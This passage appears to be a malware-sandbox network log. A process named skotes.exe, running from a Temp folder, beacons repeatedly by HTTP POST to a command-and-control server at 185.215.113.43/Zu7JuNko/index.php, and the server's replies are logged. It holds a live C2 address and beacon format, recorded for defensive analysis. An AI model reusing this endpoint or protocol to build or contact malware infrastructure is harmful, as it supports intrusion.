r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:07.685028076 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:07 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
107	192.168.2.4	50152	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:09.322215080 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:10.246551991 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:10 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
108	192.168.2.4	50153	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:11.773773909 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:12.706619024 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:12 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
109	192.168.2.4	50154	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:14.344800949 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:15.262644053 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:15 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
110	192.168.2.4	50155	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:16.776994944 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:17.710568905 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:17 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
111	192.168.2.4	50156	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:19.336520910 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:20.246315956 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:20 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
112	192.168.2.4	50157	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:21.774266958 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:22.699424982 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:22 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
113	192.168.2.4	50158	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:24.335031033 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:25.248939991 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:25 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
114	192.168.2.4	50159	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:26.776972055 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:27.683300972 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:27 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
115	192.168.2.4	50160	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:29.320785999 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:30.640506983 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:30 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
116	192.168.2.4	50161	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:32.163594007 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:33.094722986 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:32 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
117	192.168.2.4	50162	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:34.727226973 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:35.654511929 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:35 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
118	192.168.2.4	50163	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:37.166934967 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:38.067356110 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:37 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
119	192.168.2.4	50164	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:39.694897890 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:41.113487959 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:40 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
120	192.168.2.4	50165	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:42.632051945 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:43.552639008 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
121	192.168.2.4	50166	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:45.182837963 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:46.098253012 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:45 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
122	192.168.2.4	50167	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:47.616874933 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:48.545183897 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
123	192.168.2.4	50168	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:50.179519892 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:51.571999073 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
124	192.168.2.4	50169	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:53.088610888 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:53.999011993 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
125	192.168.2.4	50170	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:55.634027004 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:18:56.566051960 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:56 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
126	192.168.2.4	50171	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:18:58.085303068 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:18:59.008404016 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:18:58 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
127	192.168.2.4	50172	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:00.652585983 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:01.545393944 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:01 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
128	192.168.2.4	50173	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:03.070286989 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 37 42 35 32 46 37 37 42 38 35 38 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A77B52F77B85882D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Nov 12, 2024 02:19:03.992005110 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:03 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
129	192.168.2.4	50174	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 02:19:05.631751060 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Nov 12, 2024 02:19:06.537652969 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 12 Nov 2024 01:19:06 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
130	192.168.2.4	50175	185.215.113.43	80	8000	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
